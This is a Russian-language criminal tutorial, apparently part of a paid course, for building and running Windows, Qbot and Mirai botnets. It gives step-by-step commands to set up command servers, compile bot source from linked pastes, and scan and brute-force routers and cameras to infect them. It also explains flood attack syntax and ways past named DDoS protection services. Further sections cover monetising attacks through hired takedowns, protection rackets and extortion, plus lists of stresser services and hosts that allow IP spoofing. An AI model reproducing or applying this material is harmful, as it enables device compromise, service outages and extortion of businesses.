Вторым ботнетом я соберу P2P ботнет Qbot, если кто слышал мб из моих гайдов,которых уже нет, но имеет место быть.
Третьим ботнетом я соберу IOT ботнет Mirai, этот ботнет успел нашуметь и оченьсильно, и он действительно является очень мощным. В правильных руках его можнооживить и даже больше :)
Он живой, да-да. Сам тоже соберу на досугеИтак, начнем с настройки вин ботнета, а именно — с Куриямы от @ims0rry. Но, передтем как мы начнем, хотелось бы поговорить о функционале данного ботнета. (Демо:http://cp30265.tmweb.ru/ логин: root | Пароль: root )
Вот такие о*уенные функции имеются в данном ботнете:
> DDOS
А именно их методы: TCP/UDP и HTTP Flood
> BOT
А именно: Download & Execute / Update
> Автозагрузка
А именно: Двойная автозагрузка / Запуск каждый 1-2 часа
> Определение CPU и версии Windows
> Запустить / Убить процесс
> Возможность запускать таски определенным компьютерам / По гео / По группам
Методов конечно не особо много, не разгуляешься, но, уверяю вас, что если данныйпродукт будет жить, а я уверен
То, методов будет больше, и каждый из них будет настолько мощный, что хватит уебатькакой-нибудь пентагон нахер ;)
Теперь давайте пожалуй посмотрим как работают таски, рассмотрим на примерезапуска DDOS“a.
HTTP-flood работает так:
IP:port;duration;threads
IP — вписываете IP / URL, не забываем указывать протокол HTTP/S.
Port - вписываете порт, по дефолту обычно это 80 (WEB).
Duration — Время, как привык говорить я — бут-тайм.
Threads — Потоки, они самые.
Пример:
TCP-Flood работает так:
IP:port;duration;threads
IP — вписываете IP жертвы
Port — вписываете порт, опять таки по дефолту 80
Duration — Время
Threads — Потоки
Пример:
127.0.0.1:80;6000;500
Ну и UDP-Flood указывается абсолютно также, как и TCP.
Ну а теперь пожалуй стоит посмотреть на мощь данного ботнета.
HTTP-Flood с 1 бота на 100 потоках:
Чтож, тут очень даже неплохо.
На этой стадии я отчасти косвенно помогал Соррику сзапиливанием DDOSа помощнее в его экспериментальный лоадер, который в последствиистал DDOS лоадером. Я надеюсь, что у нас обоих будет время, и мы запилим еще болеемощный DDOS в данную шайтан-машину. А учитывая то, что Соррик помимо того,что мойколлега, он является моим другом, поэтому я всегда буду готов прийти к нему на помощь.(Говоря проще — мощному дудосу в Курияме — быть.)
TCP-Flood с 1 бота на 50 потоках:
Чтож, тут. На этой стадии я не смог полноценно помочь, так как в основном все мои методызаточены под никсы, а не под вин, эксплуатировать их туда это крайне проблематично. Но,тем не менее, мощь на 50 потоках была 500-600 кбит, что неплохо. На 100 потоках с 1 ботаможно выдавать 1 мбит/сек. Если бы это как-нибудь оптимизировать так, чтобы 1 ботвыгребал больше потоков — это было бы бомбой. Так как мощи было бы настолькодостаточно, чтобы разъебать фильтр какого-нибудь хостинг-провайдера.
UDP-Flood с 1 бота на 50 потоках:
Чтож, дела тут обстоят немного хуже, да и история та же. Для чего я рекомендую ботнетСоррика, если он уступает другим приваткам?
Потому что цена намного доступнее, и если вы приобретете его сейчас — потом Куриямы в такую цену не будет. С первой версии до второй цена уже выросла до $200.После того как я плотно возьмусь за помощь Соррику — и мы допилим DDOS, цена вырастетеще больше. И DDOS там будет уже намного мощнее, что разъебет другие приватки.
Также, я надеюсь, что мы добавим туда больше интересных методов, такие какHTTPStrong или HTTPNull к примеру, а ведь такие методы пока что есть лишь в IRC Medusa,билд которого на экспе стоит 500$, по крайней мере так было, когда я вообщеинтересовался ботнетами ;)
НУ А ТЕПЕРЬ ДУМАЮ ЧТО ПОРА ПРИСТУПИТЬ К НАСТРОЙКЕ ДАННОГОМОНСТРА.
В первую очередь, хочу сказать, что для ботнетов стоит заводить абузоустойчивые, самыечто ни на есть буллетпруф сервера. Если вы поставите на обычный белый сервак свойботнет — он улетит в бан, да-да не удивляйтесь.
Ну а для теста я взял обычную впску у blazingfast.io, хост не буллетпруф, но похоститьнебольшой ботнетик там можно. Итак, выдали вам сервак, вы подключаетесь к нему иначинаете настройку.
Сначала вписываем:
apt-get update -y
Ждемс, потом:
apt-get upgrade -y
Ну и потом уже:
apt-get install apache2
Теперь стоит проверить, установился ли наш веб-сервер апач.
Для этого в браузере вбиваем IP своего сервера и смотрим, если открылось стандартноеокно апача, значит все хорошо и можно продолжать.
Выглядит оно так:
Теперь вписываем:
apt-get install zip -y
Ждем установки и вписываем:
apt-get install php5 libapache2-mod-php5 php5-cli -y
Снова ждем установки и пишем:
apt-get install php5-mysql mysql-server -y
Во время установки, нужно будет указывать пароль, чтобы не запутаться, ставьте ВЕЗДЕодин пароль от 8 символов (такое графическое меню может не на всех серверах появляться,не пугаемся и вводим пароль в консоль)
Далее пишем:
a2enmod rewrite
Затем пишем:
service apache2 restart
И ставим phpmyadmin:
apt-get install phpmyadmin
Выбираем apache2:
Потом жмем и вводим пароль 3 раза.
Далее пишем:
ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin
Затем пишем:
apt-get install php5-mysqlnd
И перезапускаем апач:
service apache2 restart
Далее переходим в phpMyAdmin чтобы залить базу данных.
В строке браузера вводим:
http://IP_servera/phpmyadmin
Логин: root
Пароль: который вы прописывали в консоли
Теперь нужно создать базу данных, жмем вот сюда:
И сюда:
Теперь в меню слева нажимаем по только что созданной базе данных (root), потомнажимаем «Импорт».
Здесь ничего не трогаем, просто выбираем со своего компьютера выданную вам БД(.sql файл) и нажимаем кнопку «Вперед»
Появится надпись, об успешном выполнении импорта.Теперь всё что нам нужно, это отредактировать файл «config.php» и залить всефайлы на свой сервер.
Открываем config.php в программе Notepad++ и прописываем свой логин (root) ипароль в файл.
Теперь осталось залить все файлы на сервер. Скачиваем и запускаем программуFileZilla.
В программе нажимаем «Файл» → “Менеджер сайтов”. Создаём новый сайт
Хост — это IP вашего VDS сервера
Протокол обязательно выбираем SFTP
Тип входа: Нормальный
Логин: root
Пароль: (ваш пароль)
И заливаете все файлы в директорию /var/www/html
Заходите по адресу http://ipсервера/ и попадаете в панель авторизации.
Логинитесь — бам, вы зашли.
Теперь хотел бы поговорить о P2P ботнете Qbot, который я использовал до ареставключительно (да-да). Но, к счастью, за пару дней до ареста я снес ботнет по какой-топричине. Данный ботнет в мете уже давно, и что удивляет, он все еще работает.
Итак, что нам понадобится?
1. Сервер под CNC. Вообще, правильно C&C, но типа C and C, поэтому я говорю CNC. Те, ктоне знает что это, в общем это панель управления. Аля админка, только управление идет сконсоли, да-да. ОС — строго CentOS 6. (Желательно иметь буллетпруф сервер, т. к.возможен бан)
2. Сервер под скан/прогруз. Боты тут сканятся и… внимание, БРУТЯТСЯ. Да, боты брутятся.Обязательно нужен буллетпруф сервер, так как абуз прилетит немало. (Желательно такжеCentOS, можно Debian).
Итак, вы все закупили, чтож, приступаем.
Для начала логинимся на наш сервачок и пишем:
yum update -y
подождем, потом
yum upgrade -y
потом
yum install screen nano wget python -y
Теперь заливаем server и пустой файл с названием login.txt
Далее создаем директорию, ну например Compiles:
mkdir compiles
Заливаем туда клиент и кросс-компилеры.
Сам QBOT написан на С, кросс-компилеры на путоне.
Client.c - https://pastebin.com/U2afqzSp
Server.c - https://pastebin.com/cG2582me
cc7.py - https://pastebin.com/UUcY89JZ (Cross-Compilers)
НЕ ЗАБУДЬТЕ ДОБАВИТЬ IP сервера в client.c
Вот здесь:
Указывать IP:PORT, порт укажите 23.
Теперь отредачим лимитс конфиг:
nano /etc/security/limits.conf
Идем в конец, находим такие строки:
#* soft core 0
#* hard rss 10000
Сразу после них вписываем:
#* soft nofile 99999
#* soft nofile 99999
Сохраняем. (Ctrl + O)
Выходим, CTRL+X
Идем в наш каталог complies:
cd compiles
Пора подрубать кросс-компилеры:
python cc7.py client.c IP-сервера
И начнется адский трэш, который ждать минут 15. Можете попить чай или попинать х*й.
После того, как все закончится, выйдет в конце такая строка зеленого цвета:
Your link: cd /tmp || cd /var/system и бла бла бла. Если увидели ее - копируйте и сохранитенадежнее. Если про*бете - придется переустанавливать ботнет.
Итак, сохранили, все.
Теперь пишем:
yum install nc -y
Идем назад в наш каталог p2p:
cd ..
Заходим в login.txt и пишем:
свой логин:свой пароль
Теперь компилим наш server.c
gcc server.c -o server -pthread
Итак, скомпилили, теперь запуск:
screen ./server 23 1000 100
И теперь жмем CTRL+D
Должно быть написано: [decatched]
Качаем теперь клиент Putty и вписываем наш ИП, тип подключения выбираем RAW,порт указываем 100.
Вводим логин, вводим пароль.
Все, вы попали в CNC своего ботнета, ура.
Пришло время сканить и брутить.
Берем второй сервак, логинимся, пишем:
yum update -y
yum upgrade -y
yum install perl nano wget git -y
Апдейт, апгрейд и установка закончены, переходим к скачиванию сканера.
Клонируем Git'ом по канону:
git clone https://github.com/701th/LRAB-SCANNER.git
Пишем ls, видим каталог LRAB, и пишем:
cd LRAB
Опять напишем ls, видим файлики:
Теперь надо бы удалить txt файлики, чтобы не путать ничего.
Пишем:
rm -fr bios.txt
rm -fr mfu.txt
Отлично, теперь заменим наш линк в файлике blackhat.pl
Помните при завершении установки в первой части нам выдало длинную такуюссылку с кучей буковок? Вот, вы ведь ее сохранили? Отлично.
Нам нужно отредактировать вот эту строку:
Внимание, копировать строго от апострофа до апострофа, он выглядит так: ' (Егослучайно не удалите)
Теперь приступаем к скану. Пишем:
./class 22 -i eth0 -a 79 -s 10
А теперь давайте разберем команду.
Class - сам наш сканер,
22 - это порт (SSH)
-i eth0 = -i это я указал сетевой адаптер, и называется eth0. Если вы не знаете какой у вассетевой адаптер, можете не указывать, это не обязательно.
-a 79 - это диапазон. Можно указать B диапазон, в таком случае пишете -b 79.5 к примеру, и он будет сканитьдиапазон 79.5.0.0 до 79.5.255.255, но это муторно, хотя, кому как)
-s 10 = это скорость, бывают пропуски из за такой скорости + нагружает канал/проц. Но,если вам нужно максимум выжать, вы можете вместо 10 поставить 1, но скан будет нуочеееень долгий, на диапазоне B будет конечно же быстрее.
Итак, вы к примеру начали сканить, скан уже закончился, появился файлик bios.txt, тамкак раз таки наши насканенные айпишники. Что нам с ними делать?
Нам нужно их отсортировать такой простой командой:cat bios.txt | sort | uniq > mfu.txt
Строго в таком порядке.
Так, все закончилось, отлично. Теперь приступаем к бруту наших ипов.
Пишем:
./update 1500
Update - это сам брутфорсер
1500 - потоки
Я поставил 1500, т.к. мой сервак очень даже мощный, но, в вашем случае советуютренироваться на маленьких потоках. И одновременно мониторить dstat (нагрузку на проц)
Как установить dstat?
yum install dstat -y
Для запуска пишем:
dstat
Итак, наши боты набрутились, и сохранились они в файлик vuln.txt.
Если хотите, можете на них поглядеть, вписав: nano vuln.txt
Теперь приступаем к прогрузу наших ботов.perl blackhat.pl vuln.txt
Если выдает ошибку, значит пора фиксить:
Открываем наш CNC и наблюдаем как боты коннектятся.
Как пользоваться ботнетом?
Просто впишите HELP и выйдут команды, и как их использовать. Есть даже HTTP :)
Что за дичью мы атакуем? Роутерами и камерами.
Ботнет довольно таки неплох.
Ну а теперь, долго не задерживаясь приступим к настройке Мирая.
IOT ботнет Mirai уже успел нашуметь и отпахать свое в 2016, но так как подходящего IOTботнета по вкусу я не нашел, для примера я покажу вам как настраивать IOT ботнет MIirai.Если кто из вас не знает, данный ботнет разработал чел с ником Anna-Senpai, которыйпрославился на весь мир тем, что написал первый подобный ботнет и уебал Креба и OVHпод 1 Тб/c, имея на борту 400 тысяч ботов. Это овер дохуя, учитывая что каждый ботвыдавал немало. Далее он выложил исходники на форуме и все оценили сие чудо. Ондовольно мощный, если его доработать и оптимизировать под нынешний год - будеточень даже неплохо. Долго пиздеть не буду, и лучше перейду к установке. А для установкиданного чуда нам понадобится:
1. Сервер с дистром Debian 8 на борту под CNC
2. Сервер под скан
3. Сервер под прогруз, но если у вас мощная тачка под CNC, вы можете прогружать и там.
Сам ботнет написан на ЯП C и Go
Для начала берем первый сервер, логинимся и пишем:
apt-get update -y
потом:
apt-get upgrade -y
ну и ставим нужный софт:
apt-get install gcc golang electronic-fence git libc6-dev -y
Далее клонируем исходники, х*ярим:
git clone https://github.com/jgamblin/Mirai-Source-Code.git
Теперь ставим БД:
apt-get install mysql-server mysql-client -y
Вылезает окошко, пасс два раза вписываем, все гуд.
Далее заходим в каталог mirai, потом в cnc, находим файл main.go и редачимсаблаймом/нотепадом, видим строчку "const DatabaseAddr, в поле 127.0.0.1 (локалхост) мыдолжны вписать на конце :3306, это порт.
На выходе должно получиться: 127.0.0.1:3306
Теперь пишем:
apt-get install curl mercurial make binutils bison build-essential -y
Далее:
wget https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gz
Ну и теперь:
sudo tar -xvf go1.9.2.linux-amd64.tar.gz
sudo mv go /usr/local
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
Теперь поставим кросс-компилеры, я надеюсь вы помните про них.
Пишем:
mkdir /etc/xcompile
cd /etc/xcompile
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2
tar -jxf cross-compiler-armv6l.tar.bz2
rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc
mv cross-compiler-armv6l armv6l
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/usr/local/go/bin
export GOPATH=$HOME/Documents/go
Идем в каталог mirai и пишем:
./build.sh debug telnet
Теперь заходим в каталог debug, и пишем:
./enc string IPСервера
Вам выдаст строку с непонятыми вам символами, вы ее должны вставить сюды:
Через FTP заходим, по протоколу SFTP конечно же. Идем в этот каталог, там находимкаталог mirai, далее находим каталог bot, находим там файл table.c и редачим егосаблаймом/нотепадом.
Отредачить мы должны эту хуйню:
Которая в ковычках. Заменяем на свою, сохраняем.
Теперь перейдем к настройке Базы данных.
Для начала оффаем IPTables. Если кто не знает, это утилита для файрволла NetFilter.
Чтобы оффнуть его нахуй пишем:
service iptables stop
Если не пашет:
/etc/ini.d/iptables stop
Ну а теперь пишем
mysql -u root -p
Вводим пасс от рута, окей, залогинились.
Теперь пишем:
create database mirai;]
Теперь:
use mirai
Х*ярим:
INSERT INTO users VALUES (NULL, 'botnet', 'ПарольКоторыйУказывалиУРута', 0, 0, 0, 0, -1, 1,30, '');
Ну и теперь копируем это:
https://pastebin.com/0fWbKH7Z И вставляем.
Ну а теперь вспомните, где мы добавляли :3306 к локалхосту, вот, идете туда, и редачителогин и пароль. Логин и пароль ваши указаны чуть выше.
Все, сохраняем, теперь пишем:
service mysql restart
И теперь пишем в mirai и пишем:
./build.sh release telnet
Теперь закиньте файл prompt.txt в каталог release.
Заходите в release и пишите:
apt-get install screen -y
Потом:
screen ./cnc , затем жмете CTRL+A+D, должно быть написано DECATCHED
Открываем Putty, указываем IP, тип подключения выбираем не SSH, а Telnet.
Вылезает окошко:
Я тоже люблю куриные наггетсы)
Вводим логин и пароль, которые указывали.
Немного ждем... вжух, вот и твой ботнет.
Ну а теперь пора перейти к скану... С чего начнем?
Да начнем с того что установим апач
apt-get install apache2 -y
Запустим ка его,
service apache2 start
Находясь в каталоге release теперь пишем:
mv mirai.* /var/www/html
Теперь открываем notepad/sublime text и х*ярим туда эту е*анину:
Не забываем редачить свой IP (сервера)
Теперь сохраняем с названием bins.sh
И льем в каталог /var/www/html
Теперь service apache2 restart
Теперь идем в папку /root/dlr,
И меняем в файле main.c IP.
Меняем там с 127.0.0.1 на наш IP.
Сохраняем.
Теперь пишем sh build.sh
И копируем все файлы в папку /loader/bins.
Теперь заходим в папку loader и редачим файл main.c
Редачим там все IP на свой.
Теперь пишем sh build.sh
Бум. Наш лоадер готов.
Теперь пойдем сканить.Нам будет нужен софт ZMAP. Как его настроить я скину потом гайд, тут писать будетслишком много.
Запускаем скан:
zmap -p23 -otelnet.txt
и брутим. Если у нас уже есть лист, то, пишем:
cat list.txt | ./loader
И все, боты прогружаются. Магиииия :)
6. Виды защит и как их обходить
ИТАК, ПРИШЛО ВРЕМЯ ПЕРЕЙТИ К РАЗДЕЛУ ЗАЩИТ.
Виды защиты и как их обходить. Защиты всегда были, раньше, правда, хуевые... ивсегда будут (хуевыми :D )Они бывают разных видов, построены по разному и у всех разные принципы работы.Разберем каждый и посмотрим, как они работают и как их обходить. Поехали
1. CloudFlare. Да, это скорее CDN, чем защита, но, мне похуй, нахуй пошел :)Популярная защита, я бы даже сказал популярнее всех, из существующих, таккак есть бесплатный тариф. Да, ты можешь защититься за 0 рублей. Но, стоит отметить чтоон не так уж эффективен. Итак, как же он защищает?А защищает он:а) проксированиемб) фильтрует HTTP запросыв ) есть JS заглушка (5 секундная херня крутящаяся, ее DDOSеры неграмотные ещекрутилкой называют)г) есть ебаная капча, да, меня она заебала больше всех
Итак, как же это обходить?
2. DDOS-Guard.
Это ребята с мозгами, но к сожалению кривыми. Данная защита также защищаетпроксированием и фильтрует HTTP трафик лучше, чем CloudFlare. НО, плохо устойчивы ихфильтры Layer 4 к ботнету, достаточно 25-50 гбпс трафика и фильтр тупо отваливается, апереключившись на другой — начинает дико лагать. HTTP фильтрация довольноустойчива, но при нормальных количествах легко падает. Итог: Защита не очень.// Когда я разъебал их фильтр, они тупо выключили сервер. Я был очень удивлен.
3. OVH.
Эти ребята с мозгами, к счастью, ровными. Данная защита защищает Layer 4 атакизнаете чем? Вакуумной фильтрацией. Это довольно-таки уникальная защита, котораянеплохо отпротектит твои атаки. Фильтрует UDP амплификации до 480 Гбпс, во п****ц,подумаешь ты. Но, от хорошенького TCP траффа отваливается на ура (это секрет).Особенно эффективен SYN, а лучше ACK флуд. Также хорошо проходит HTTP трафик, так какфильтруется ну почти никак.
Итог: Флудим TCP/HTTP траффом и будет счастье. Если не ложится, то, берем дроппер.Суть работы которого я так и не понял, так как исходников на руки не получил. Но, онработает, и это главное. Тупо дропает х*й пойми что. (С OVH Game серверами все сложнее,нужен ботнет)
4. Qrator
Бесполезная защита, абсолютно. Дропнется если зарядишь неплохого HTTPтрафика. На Layer 4 не проверял, но уверен что говно, так как made in Russia, что априориговорит о качестве. (На сайте указано что Layer 4 протектят хорошо, а Layer 7 нет, делайтевыводы).
5. StormWall
Скажу сразу, это не твой бро, как Куратор. Это настолько вы*бистая с*ка, похуже OVH.Протектят и Layer 4 и Layer 7. Есть и заглушки и чего только нет. Проксирование тожеприсутствует. Единственный твой выход — это Layer 7 с ботнета. Поверь. Иначе ты не положишь эту ебанину. Если у тебя заказ с такой херней — бери $40/час. В сутки это 1к$. Неготовы платить — нахуй идут.
Штормволл тоже made in Russia,но круче выше
6. InCapsula.
А это вот твой бро, защита 1 в 1 схожа с CloudFlare, дропается также легко.
7. Hetzner.
Это отбитая защита, которая постоянно агрится на мой скан(Протектит неплохо Layer 4, но можно обоссать. Никак не защищает от Layer 7.Сможешь дропнуть даже бесплатным софтом, привет. Итог: Заказы с такой защитой —здравствуйте.
8. Akamai
Довольно таки хорошая защита, тоже проксирует, и неплохо защищается от Layer7. Но, минус его в том, что, Layer 7 хороший уебывает его нахер. Итог: Layer 7 Твой бровсегда.
Амазон еще есть, ну они круче Акамаи.Тоже л7 ботнет:)
9. Voxility
В данном случае я тебе не завидую. Ни капли. Протектят Layer 4 до 980 гбпс. Что оченьплохо. В основном юзают игровые сервера. Дропнуть реально тяжело, поэтому в такихслучаях ботнет твой друг. Хороший ботнет — хороший трафик. Заказы подобные тяжеловывозить.
10. BlazingFast
В данном случае тоже не завидую. Работает как и CloudFlare, но по факту намного круче.Протектит Layer 4 на своих серверах до 980 Gbps. Предоставляет бесплатно вроде как своиDNS, и можно повесить JS заглушку. Обходится заглушка также, но нужен другой скрипт,которого у меня нет, привет. Можно найти его в сети. Итог: Layer 7 твой бро.
На этом думаю стоит закончить. В большинстве случаев Layer 7 твой бро, а редких — Layer4. Но все методы тебе пригодятся всегда. Поэтому если ты тягаешься с серьезными людьми— имей серьезную мощь. Если люди не серьезные — не траться на ботнет впустую.На этом я закончу данный раздел.
ВОПРОСЫ
1. https://habrahabr.ru/company/tm/blog/343328/ вот это советуюбё посомтреть, до того как в лобдолбать прикрытый сервис
2. Как определить вид защиты,не считая стандартных которые видео типо клауда ?
--check-host.net URL/IP и жмешь INFO
7. БЕЗОПАСНОСТЬ И АНОНИМНОСТЬ
Говоря о безопасности и анонимности в целом, я буду подразумевать вашузащищенность в сети. Вам нужно знать несколько простых правил, которые нужнособлюдать:
1. Никому ничего не рассказывать, даже вымышленную информацию, чреватопоследствиями.
2. Никогда ничего нигде не оставлять, все хранить у себя и скрытно.
3. Всегда анонимизировать и шифровать свои действия в сети.
Итак, как же мы все это сделаем?
С первым я думаю все понятно. Если ты не глупый(ая), все будет гуд.
Со вторым немного сложнее, но, сейчас объясню. Некоторые из вас наверное знаюттакие программы по типу TrueCrypt. Если да, то, это большой плюс. Вы сможете создатьзашифрованный раздел на своем жестком диске, доступ к которому идет через файл попаролю, либо зашифровать саму флэшку, что куда удобнее, но не мне.
С третьим немного сложнее, чем с первыми двумя. Итак, давайте для начала разберем чтовообще у нас есть:
1. ПроксиВообще, когда говорят прокси сервер, то по сути имеют в виду что-то, выступающеепосредником между клиентом и адресатом.Ну а по факту в разрезе обеспечения анонимности бывают трех видов:
Плюсы прокси-серверов:
- прокси дешевы, в сети можно найти много бесплатных прокси.
Минусы прокси-серверов:
- надо доверять прокси-серверу;
- для http-прокси надо фильтровать HTTP-заголовки;
- протоколы прокси (http, SOCKS) НЕ поддерживают шифрование междуHTTP/SOCKS/Elite/Anonymous-прокси и клиентом. А SSL-прокси означает лишь то, чтоклиент может работать с https-ресурсами;
- цепочки прокси неэффективны;
- необходимость настройки прокси-сервера для каждого приложения либо использованиеотдельных программ-соксификаторов, например, Proxifier.
VPN
Ну а тут уже разговор посерьезнее.
Для начала покажу принцип работы VPN:
Никогда не стоит арендовать VPN у сервисов, даже если те гарантируют то, что неведут логов. Это большая ошибка, которую допускают многие. Итак, где же выход? Нужносамому поднимать свой VPN сервер, и неважно на каком протоколе. Просто поднять.Гайдов в интернете полно, нужно лишь взять.
Резюмирая, давайте посмотрим на плюсы и минусы VPN.
Плюсы VPN:
- быстро и удобно, не надо отдельно настраивать приложения.
Минусы VPN:
- нужно доверять VPN/SSH-серверу/провайдеру.
Тор описывать не буду, его и так все знают. Не пренебрегайте анонимностью, держитесвой трафик в порядке.А теперь вопросы и мы переходим к следующему разделу.
ВОПРОСЫ:
(И это, ребята, я забыл там написать чтобы поставили линукс и Jabber, но это ладно, в 2.0распишу)
1. Насчет безопасности, можно ли использовать двойной прокси... и как это грамотносвязать? Опять же с дедиком или ещем
--Не имеет смысла, лучше впн, Впн + дедик
8. МЕТОДЫ МОНЕТИЗАЦИИ
Как же монетизировать полученные знания, чтобы не пропали впустую? Начнем с того,что они уже не пропали. Любые полученные хорошие знания не пропадают даром, и дажето, что вы это освоили, уже профит. А если вам хочется бабла, рассмотрим нескольковариантов заработка на этом.
Начнем с менее безобидного, это конечно же легальное тестирование компаний.Компании частенько обращаются к профессионалам за тестированиями. Засветитьсяможете очень легко, положив какую-нибудь компанию и указав им на их ошибку. Профитне такой высокий как в чернухе, но, имеет место быть.
Второй метод монетизации серо-черный. Тут немного сложнее. Вы можетепредоставлять DDOS услуги на заказ. Каким образом? Клиент, к примеру владелецмагазина обращается к вам, чтобы устранить своего конкурента. Когда конкурент лежит,его клиенты уходят к твоему заказчику. Профит у всех, все довольны. Стоит отметить,что за это могут начать искать, поэтому нужно соблюдать анонимность и принимать заказыв защищенных сетях. Ну а прибыли с этого можно поиметь начиная с $5 заканчиваятысячами долларов за заказ, делайте выводы :)
Третий метод монетизации черный. Атаковать различные коммерческиеорганизации и предлагать White-List, проще говоря «Крышу», как это делали в 90х. Молподъезжают рэкетиры, и говорят, платишь нам — тебя никто не трогает, и мы сами тоже.Не платят — атакуешь пока не заплатят. Платят — выстраиваешь вайт-лист, можешь еслихочешь списываться с такими же барыгами, чтобы не было недоразумений. Черненько,зато профитненько.
Ну и последний, самый жесткий и черный метод монетизации, это шантаж. Самыйнастоящий шантаж. Ты атакуешь коммерческие организации и требуешь выкуп. Мол, еслине заплатите — вашему сайту/серверу пизда. Если у хозяина неплохой оборот, он в 90%случаев заплатит. Поэтому, просить можно по разному. Из минусов это заявления,которые будут обязательно поступать в Отдел К или ФСБ, в дальнейшем, когда вы всехзаебете, за вами выедут. Вот такие вот дела. (Крайне не советую данный метод, но оннаиболее эффективен).
9. Прочие плюшки
Итак, тут я бы хотел поговорить о разных плюшках, которые применяю лично я. Сразуговорю, сейчас я пишу это сюда и не все вспомню, поэтому этот раздел я дополню в 2.0,доступ к которому вы получите обязательно.
1. Проверка сайта/сервера.
Допустим вы атакуете цель, но не знаете, лежит ли она на самом деле. Для этогоесть сервисы, которые могут это проверить. Смотрите.На примере возьмем сервис https:///check-host.net/, который позволяет проверить сайтна доступность, также проверяет информацию об IP/URL (таким образом вы и узнаетезащиту) и множество других функций. Основное, что нас интересует, это — Info, Ping и HTTP.Ping нам будет нужен для проверки серверов на доступность, ну а HTTP для проверкисайтов на доступность.
Все довольно просто и легко работает: https://imgur.com/GA0t3nDl
2. Постоянная проверка сайта/сервера.
Итак, нам упал заказ, и нам нужно его мониторить постоянно, если он вдруг встанет ит. д. Для этого есть отдельные сервисы, как этот: http://www.syslab.ru/
Всего там за 20-30 рублей, он промониторит ваш заказ сутки, чекая каждые 2 минуты.Я считаю, что это очеееень годно, так как и сам раньше юзал. Если заказчик докопается,мол, сайт вставал, вы просто можете тыкнуть ему статистикой :)
Парам пам пам, угадайте, как мы мерили мощь с Сорриком? Там вроде и Layer 4мерили, и Layer 7.
А вот смотрите, это называется Дстат (DSTAT), по сути изначально это утилита для Linux,которая позволяет мониторить системные ресурсы.
Ну а в данном случае, у нас нечто другое. У нас — графы. Мы переходим по этим графам— и мониторим количество запросов в секунду (r/s если это Layer 7) и Mbps/Gbps если этоLayer 4 :)
Итак, где же их брать?
http://www.vedbex.com/tools/dstat — выбираете любой из списка, вам выводится IPсервера, запускаете Layer 7 атаку по IP (не забываем прописывать http://) и запускаемDDOS.
Количество запросов отобразится прямо там, смотрите:https://imgur.com/g32s8Xsl и никакой магии)
У них также есть Layer 4 дстат, который отображает трафик в Mbit/s.
Есть также аналог, но его я закину уже в 2.0
Еще раз извиняюсь, если вдруг что забыл, в 2.0 дополню.
На этом думаю стоит закончить и пора уже скинуть вам все :)
СТРЕССЕРОВ ЩА НАКИДАЮ, ГОДНЫХ
http://webstresser.org/ - Можно вбить с Paypal. Годный стрессер.
http://xblunter.net/ - Годный стрессер, мощи дохера. Один челик уебал прокуратуру этимстрессером на 300 секунд, а прокуратура валялась 6 часов.
Хочу дополнить, у webstresser.org сейчас работает только l4 поэтому не надейтесь снего положить сайт с помощью l4 проверено, ждите когда l7 добавят. Что на счет xblunter,да годный стрессер который пробивает много чего
https://firstvds.ru/ - Под Layer 7 (XMLRPC) + Скан листов хорошо залетает. Лично сейчасдержу там VPS за 500р и ебашу XMLRPC.
https://selectel.ru/ - Под Layer 7 + скан держал будучи под арестом, все заебись. Не банили.
https://sologigabit.com - Раньше здесь брал под мирай и кубот сервак, но потом они четзагнулись. У Соррика вообще заказ не принимали, странно...
https://dataharbour.ru/ - Спуф VPS от 350р, спуф вроде как все еще есть. Одному стоитпроверить, потом остальныеmaxided.com - Отписывайте в саппорт перед покупкой и спрашивайте, какие локации спуф.
novogara.com - под скан/хост ботнета mirai/qbotblazingfast.io - Лично тут хостил Курияму, все гуд.
http://ampnode.com/ - Спуф сервера, но реселлят.
https://www.packet.net/ - спуф
https://www.lonepinecommunications.com/ - 100% спуф
http://wdc.pl/ - Если еще жив - заебись. А так был спуф.
http://www.akado-telecom.ru/ - В мое время был спуф, и даже в конце 2017.
https://gw.spb.ru/ - Спуф был в 2к17http://www.spx.lv/ - спуф
http://www.relcom.spb.ru/ в прошлом году был спуф, надо будет тестануть
https://miran.ru/ - год назад был спуф, надо будет тестануть
http://www.edis.at/ - VPSки в СПБ спуф
http://fiord.ru/ - спуф
https://www.aureon.com/ - спуф
http://www.americanis.net/ - спуф
